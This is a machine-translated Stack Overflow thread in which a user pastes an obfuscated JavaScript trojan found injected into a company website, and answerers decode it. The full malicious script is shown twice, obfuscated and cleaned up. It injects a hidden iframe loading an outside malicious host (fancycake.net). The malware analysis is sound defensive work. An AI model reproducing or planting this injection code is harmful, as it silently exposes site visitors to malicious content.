2010-07-20 20 views
7

我最近一直在玩JavaScript的分配,并开始考虑,我不能遇到一段JavaScript,我不能够调试。JavaScript木马解剖

当我们在我们公司的网站上发现了一些JavaScript重定向特洛伊木马时,我感到非常惊喜和愤怒。

我们发现的大部分代码都能够轻松解析并使用标准转义来混淆代码功能。

但是,在我们发现的代码中,下面的代码完全让我不知所措。 (我似乎可以解决的唯一部分是它正在替换一些参数)。

那么,任何人都请友善地解释下面的代码给我?我很想知道到底发生了什么事......

<script> 

function yJ() {}; 
this.sMZ = "sMZ"; 
yJ.prototype = { 
    w: function() { 
     var rJ = 13390; 
     this.m = "m"; 
     this.fP = ''; 
     this.q = "q"; 
     this.oJ = ""; 
     var vS = function() { 
      return 'vS' 
     }; 
     var d = 'replace'; 
     var qB = ""; 
     x = ''; 
     var s = document; 
     var xZ = "xZ"; 
     mC = ''; 
     var dV = "dV"; 
     var b = window; 
     this.p = false; 
     this.kX = ''; 
     nP = "nP"; 
     var zE = ""; 
     this.nU = false; 
     var yV = function() { 
      return 'yV' 
     }; 
     String.prototype.gT = function (l, v) { 
      return this[d](l, v) 
     }; 
     this.pC = ''; 
     var qV = false; 
     var fPU = new Array(); 
     h = ""; 
     var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, ''); 
     var xV = 43258; 
     sT = ''; 
     var mV = ''; 
     this.wJ = "wJ"; 
     var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, ''); 
     var xB = ''; 
     wI = "wI"; 
     oT = false; 
     var nQ = 49042; 
     try { 
      zI = ''; 
      var bF = new Array(); 
      var aY = function() { 
       return 'aY' 
      }; 
      var rN = false; 
      rF = ""; 
      var cX = function() { 
       return 'cX' 
      }; 
      var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, ''); 
      this.rL = ''; 
      var vH = function() { 
       return 'vH' 
      }; 
      var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, ''); 
      yD = ""; 
      var eA = ''; 
      var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, ''); 
      vZ = ''; 
      this.bG = ""; 
      this.vL = false; 
      var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, ''); 
      gI = ''; 
      dVL = "dVL"; 
      var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, ''); 
      lH = ""; 
      kD = "kD"; 
      this.pH = false; 
      var k = 's9ric9'.gT(/[9Ni~O]/g, ''); 
      var vB = ''; 
      var kH = function() { 
       return 'kH' 
      }; 
      var qH = new Array(); 
      aD = ''; 
      this.eQ = false; 
      var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); 
      var cT = ''; 
      var kL = function() { 
       return 'kL' 
      }; 
      var bR = new Array(); 
      this.cP = 22454; 
      var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, ''); 
      lG = ''; 
      tG = 7587; 
      hV = ''; 
      this.oR = "oR"; 
      var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); 
      var dC = function() {}; 
      var eR = new Date(); 
      var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, ''); 
      uM = ""; 
      var i = function() {}; 
      this.cI = ""; 
      tU = false; 

      function qN() {}; 
      xL = 57256; 
      var c = this.a(); 
      this.eL = ''; 
      var rY = function() {}; 
      fG = false; 
      nO = false; 
      this.j = ""; 
      this.iQ = 5330; 
      var sY = function() {}; 
      var u = document[n](bQ); 
      this.tH = false; 
      zX = ""; 
      u[r][o] = dH; 
      var kV = "kV"; 
      pN = ''; 
      var yG = new Array(); 
      this.nOE = 818; 
      u[z](k, c); 
      this.bQK = ""; 
      var yU = 15629; 
      var sM = new Array(); 
      var eY = "eY"; 
      var qP = ''; 
      s[y][e](u); 
      var lU = "lU"; 
      var zR = false; 
      var xS = ""; 
      iX = 34795; 

      function pO() {}; 
      this.gM = ""; 
     } catch (g) { 
      var xI = false; 
      this.gO = false; 
      this.iZ = false; 
      this.iU = false; 
      var mQ = new Date(); 
      var qF = function() {}; 
      s.write(f); 
      var tS = "tS"; 

      function aR() {}; 
      nA = "nA"; 
      var xT = new Date(); 
      mZ = false; 
      var gN = new Array(); 
      var wE = this; 
      var eB = 3562; 
      this.qE = "qE"; 
      this.cS = false; 
      this.vK = false; 
      qEJ = false; 
      this.hW = false; 
      b[sV](function() { 
       function bI() {}; 
       hJ = ""; 
       var kVQ = "kVQ"; 
       var iG = ""; 
       var eBS = new Array(); 
       rA = ""; 
       wE.w(); 
       jY = ""; 
       var hB = "hB"; 
       var iZF = ''; 
       qY = ""; 
       jYG = ""; 
       uK = 30969; 
       var qD = "qD"; 
      }, 326); 
      this.qC = ""; 
      var aX = function() {}; 
      var cN = ""; 
     } 
     gB = false; 
     var fF = false; 
     this.hX = false; 
    }, 
    a: function() { 
     rH = "rH"; 
     this.bV = ''; 
     var qW = ""; 
     return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, ''); 
     var sMS = new Array(); 
     this.wL = false; 
     uS = "uS"; 

     function pI() {}; 
    } 
}; 
var uI = false; 
var kN = new yJ(); 
this.aQ = "aQ"; 
kN.w(); 
hT = 15101; 

</script> 
+3

我刚才读的代码的第一个30个字母,掌掴自己,做了咖啡,坐下来,发现有一个滚动条。 – Marko 2010-07-20 08:14:31

回答

17

它嵌入http://fancycake.xxx/something,这是行,你可以看到它:

return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, ''); 

你怎么看每个奇数字符,从字符串弹拨时,形成的URL。我没有运行这个,所以我不确定它在什么条件下执行此操作,但是您可以看到String.replace已重命名为String.gT,并且正在传递一个正则表达式来对付使字符串模糊的字符。如果你申请的是同样的方法,采摘奇怪的字符,你可以看到,有一个隐藏的iframe,一些JavaScript事件处理程序,setAttribute等:

var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); 
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); 
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, ''); 

这是怎么String.replace的别名:

var d = 'replace'; 

... 
String.prototype.gT = function (l, v) { 
    return this[d](l, v) 
}; 

在该函数的上下文中,this是正在调用gT的字符串,而d是字符串replace。在字符串的原型上,this['replace']返回replace()方法,然后使用两个参数调用gT。结果然后返回。

更新

我改变了剧本,像这样:

  1. 全部换成string.gT()电话与其普通形式。
  2. 删除未引用的任何变量。
  3. 给功能一些常识名称。

这是结果,它应该是很清楚它是如何工作现在:

function FancyCake() {}; 
FancyCake.prototype = { 
    embed: function() { 
     var d = 'replace'; 
     var s = document; 
     var b = window; 
     var sV = 'setTimeout'; 
     var f = "<html ><head ></head><body ></body></html>"; 
     try { 
      zI = ''; 
      var bF = new Array(); 
      var y = 'body'; 
      var r = 'style'; 
      var bQ = 'iframe'; 
      var t = 'write'; 
      var n = 'createElement'; 
      var k = 'src'; 
      var z = 'setAttribute'; 
      var dH = 'hidden'; 
      var o = 'visibility'; 
      var e = 'appendChild'; 
      var c = this.getUrl(); 
      var u = document[n](bQ); 
      u[r][o] = dH; 
      u[z](k, c); 
      s[y][e](u); 
     } catch (e) { 
      console.error(e); 
      s.write(f); 
      var cake = this; 
      b[sV](function() { 
       cake.embed(); 
      }, 326); 
     } 
    }, 
    getUrl: function() { 
     return "http://fancycake.net/.ph/1/"; 
    } 
}; 

var cake = new FancyCake(); 
cake.embed(); 
+1

+用于说明 – 2010-07-20 09:20:29

+0

我没有想到我所看到的是所有这些混乱中的正则表达式。我现在没有得到的是,好的我得到了原型关键字的基本概念,但是如何返回这个[d](l,v)导致覆盖正则表达式模式匹配?或者他们试图在那行代码中实现什么? PS:感谢您的解释,因为很明显,我将它固定在一个调试器中,但仍然很难理解它。 – 2010-07-20 13:15:31

+0

我已经更新了答案,以包含关于替换的说明。 – 2010-07-20 17:44:17

4

它增加了一个无形的iFrame到以下网址到您的网站:

<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe> 

下的Firefox作为攻击和恶意网站fancycake标

+0

你是怎么知道的?通过在JavaScript调试器中运行它并观察发生了什么,它可以运行在 – 2010-07-20 08:21:57

+1

之上。在此之后,我浏览了内部框架网址,并看到Firefox警告:) – Erik 2010-07-20 08:23:49

1

在JavaScript调试器中运行它;最终,代码将自行反编译并尝试启动。我建议在Linux上使用最新版本的FireFox,以确保安全。